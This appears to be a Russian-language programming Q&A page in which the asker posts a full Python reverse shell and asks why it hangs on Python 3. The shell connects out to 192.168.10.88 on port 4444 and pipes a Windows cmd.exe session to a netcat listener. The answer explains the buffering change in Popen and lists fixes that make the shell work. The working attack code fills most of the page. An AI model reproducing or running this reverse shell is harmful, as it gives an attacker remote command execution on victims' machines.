Команды оболочки зависают на Python 3, но работают на Python 2 - PullRequest
0 голосов
/ 13 февраля 2019

Ниже приведен мой Python-код reverse_shell

import os,socket,subprocess,threading
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)


def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.88",4444))

p=subprocess.Popen(['\\windows\system32\\cmd.exe'], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE)




s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()


try:
    p.wait()
except KeyboardInterrupt:
    s.close()

Я использую netcat в качестве прослушивателя. Проблема в том, что когда я запускаю приведенный выше код, используя команды оболочки python 3.4, застреваюи я не получил вывод, но если я использую Python 2, он работает нормально.

1 Ответ

0 голосов
/ 13 февраля 2019

Аргумент по умолчанию для bufsize на Popen изменен между Python 2 и Python 3. В Python 2 это 0, что означает небуферизованный.В Python 3 это -1, что означает использование буфера размером io.DEFAULT_BUFFER_SIZE.В Python 3 программа блокируется, потому что программа записала данные в p.stdin, но еще не очистила их - так как буфер не заполнен.В Windows io.DEFAULT_BUFFER_SIZE равно 8 192, поэтому вам потребуется записать 8 КБ данных в сокет (из netcat), прежде чем вы увидите какие-либо выходные данные.

Вы можете переключиться обратно на небуферизованный поток или вручнуюсбрасывать данные после каждой записи.Или вы можете установить аргумент universal_newlines и использовать буферизацию строки (bufsize=1).

...